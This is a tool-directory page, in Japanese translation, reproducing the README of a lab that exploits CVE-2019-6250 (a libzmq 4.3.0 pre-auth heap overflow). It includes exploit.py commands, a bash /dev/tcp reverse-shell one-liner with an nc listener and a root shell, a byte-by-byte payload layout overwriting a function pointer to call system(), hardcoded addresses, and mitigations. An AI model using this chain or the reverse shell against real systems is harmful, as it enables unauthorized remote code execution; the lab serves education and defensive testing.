Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-6250-lab — CVE-2019-6250(libzmq <= 4.3.0、ZMTP/2.0 ワイヤープロトコル)のエンドツーエンド事前認証RCEラボ | Kitploit
ツール/GitHubGitHub/dinosn/cve-2019-6250-lab
脆弱性分析エクスプロイトペネトレーションテスト学習と教育リモートアクセスツールペイロード開発バイナリエクスプロイトラボと実践
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

CVE-2019-6250(libzmq <= 4.3.0、ZMTP/2.0 ワイヤープロトコル)のエンドツーエンド事前認証RCEラボ

リポジトリを見る
34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-6250 — libzmq 事前認証RCEラボ

CVE CVSS Affected License

エンドツーエンドで動作するRCEチェーンと再現可能なラボ for CVE-2019-6250、これはlibzmqの v2_decoder_t::size_ready における事前認証ヒープバッファオーバーフローです。 uint64_t のポインタ演算オーバーフローにより、認証されていないピアがZMTP/2.0ワイヤパス上の隣接する msg_t::content_t::ffn 関数ポインタを上書きし、TCPソケットクローズ → ~v2_decoder_t() → _in_progress.close() → を介してトリガーできます。

system(cmd)

作成者: Nicolas Krassas (@dinosn).

ラボ使用のみ。 このキットには意図的に脆弱なlibzmq 4.3.0が同梱されています。ポート5555をラボ外に公開しないでください。このバグは7年前にlibzmq 4.3.1で修正されました(コミット 1a2ed127)。


Demo

system() チェーン — ファイルによる証明

system chain

リバースシェル — 対話型ルート

reverse shell

自動化されたエンドツーエンドスモークテスト

smoke test


TL;DR (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (bare metal — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

root@kitploit:~
# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

以下のような出力が表示されるはずです:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

cannot set terminal process group (1355844) の行は、シェルがローカルで実行したものではなく、libzmqターゲットプロセス(PID 1355844)によって生成されたことを確認します。


Repository layout

root@kitploit:~
.
├── README.md             # ここにいる
├── server.c              # 小さなPULLリスナー — 脆弱なターゲット
├── exploit.py            # 完全なRCEチェーン
├── setup.sh              # ベアメタルプロビジョナー(libzmq 4.3.0をクローン&ビルド)
├── start_server.sh       # ターゲットの起動/再起動
├── read_addresses.sh     # 異なるイメージ用のアドレスプロファイルを再生成
├── run_lab_test.sh       # 自動化されたエンドツーエンドスモークテスト(CI対応)
├── Dockerfile            # ワンコマンドでコンテナ化されたラボ
└── screenshots/          # READMEスクリーンショット(charmbracelet/freezeで生成)

Mechanics

1. バグ

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ はZMTP/2.0のLARGEフレームヘッダから攻撃者が制御するビッグエンディアンの uint64_t です。 msg_size_ = 0xFFFFFFFFFFFFFFFF の場合、合計 read_pos_ + msg_size_ は2⁶⁴でラップし、右辺 より小さく なります。境界チェックは偽と評価され → 実行がゼロコピーパスにフォールスルー → _in_progress メッセージがrecvバッファをエイリアスします。デコーダはその後、カーネルに read_pos_ から 0xFFFFFFFFFFFFFFFF バイト多くを要求し、recv() はペイロードをrecvバッファの終端を越えて隣接する content_t[] 配列(decoder_allocators.cpp:88 で同じ malloc() チャンクに割り当てられる)に書き込みます。

2. チェーン

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

以下のように構造化された8224バイトのペイロードを送信します:

ペイロードオフセットバイト数上書きされる内容
[0:16]padding(recvバッファ内)
[16:K]コマンド文字列 + NUL(recvバッファ内 — system の引数)
[K:8183]padding(recvバッファ内)
[8183:8191]read_pos+16content_t[0].data (→ コマンド)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (制御フローターゲット)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

TCPソケットを閉じると、サーバの ~v2_decoder_t() が _in_progress.close() を呼び出します。 msg_t::close 内:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage が _u.zclmsg.flags = 0 に設定するため、ORショートカットは即座にその分岐を取ります — refcnt はチェックさえされません。上書きされた ffn が実行されます。

ROP、シェルコード、情報漏洩は不要: 1つのlibcシンボル解決と1つのインラインコマンド文字列のみです。

3. 事前認証で v2_decoder_t に到達する

stream_engine.cpp:707 を見てみましょう:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

ZMTP/2.0パスは、メカニズムなしで v2_decoder_t をインスタンス化します。ZAPのみが2.0接続を拒否し、ZAPはデフォルトでオフです。ピアが12バイトのZMTP/2.0グリーティング(0xff + 8個のnull + 0x7f + リビジョン 0x01 + ソケットタイプ)を送信すると、後続のすべてのバイトが v2_decoder_t によって解析されます。認証なし。ハンドシェイクなし。メカニズムステートマシンなし。


ASANの証拠

オプション: -fsanitize=address でビルドし、ヒープバッファオーバーフローのレポートを確認してください:

asan report

0 bytes after 18160-byte region により、計算したチャンクサイズ(8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160)が確認されます。 handshake_v2_0:719 での割り当てサイトは、バグが事前認証ZMTP/2.0パスで発生することを確認します。


ハードコードされたアドレスの理由

kernel.randomize_va_space=0 の場合、libcベース、libzmqベース、ヒープ、I/Oスレッドのmallocアリーナはすべて決定論的なアドレスになります。 exploit.py のデフォルトプロファイル(DEFAULT_PROFILE)は、バンドルされたラボビルド(Debian 12 / Kali 2024.1 / glibc 2.38、libzmq 4.3.0 リリースモード -O2)用にキャプチャされています:

フィールド値ソース
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183レイアウトから派生
cmd_offset16ペイロード内でコマンドを配置する場所

異なるglibc/libzmqビルドに移植する場合は、start_server.sh の後に ./read_addresses.sh > profile.json を実行し、その後エクスプロイトに --profile profile.json を渡してください。

実際の攻撃では、情報漏洩プリミティブまたは引数制御を必要としないワンガジェットコールのいずれかが必要になります。どちらもこのラボの範囲外です — ここでの目標は、バグからシェルへのパイプラインをクリーンに実証することであり、ASLRを打ち負かすことではありません。


緩和策

防御策効果
libzmq ≥ 4.3.1 にアップグレード修正済み。 コミット 1a2ed127 により境界チェックが msg_size_ > size_t(allocator.data()+size()-read_pos_) と書き換えられ、オーバーフローは不可能になりました。
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) を任意の正の n で軽減。 壊れた境界チェックがラップする前に短絡します。
ZAP認証を有効にするZMTP/2.0接続をブロック(stream_engine.cpp:709で拒否)。バグを修正するわけではなく、認証されていないパスを防ぐだけです。
ASLR武器化を遅らせますが、防止はしません — チェーン自体は影響を受けません。
スタックカナリア / NX / RELROこれらはいずれもヒープ関数ポインタハイジャックを保護しません。

クリーンアップ

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

参考文献

  • HackerOne #477073 — 元の開示(Guido Vranken)
  • zeromq/libzmq PR #3353 — 一行の修正
  • zeromq/libzmq issue #3351 — 公開議論
  • NVD CVE-2019-6250
  • 37/ZMTP — ZeroMQメッセージトランスポートプロトコル仕様
  • SystemTek writeup

著者

Nicolas Krassas — @dinosn

ライセンス

MIT © Nicolas Krassas。意図的に脆弱なlibzmq 4.3.0のソースはビルド時にアップストリームのLGPLv3-with-exceptions / MPLv2リポジトリから取得されます — そのライセンスはそのコードに個別に適用されます。

免責事項

防御的なセキュリティ研究、教育、および許可されたセキュリティテスト専用です。同梱の脆弱なビルドを隔離されたラボ環境外に展開しないでください。

ツールをダウンロード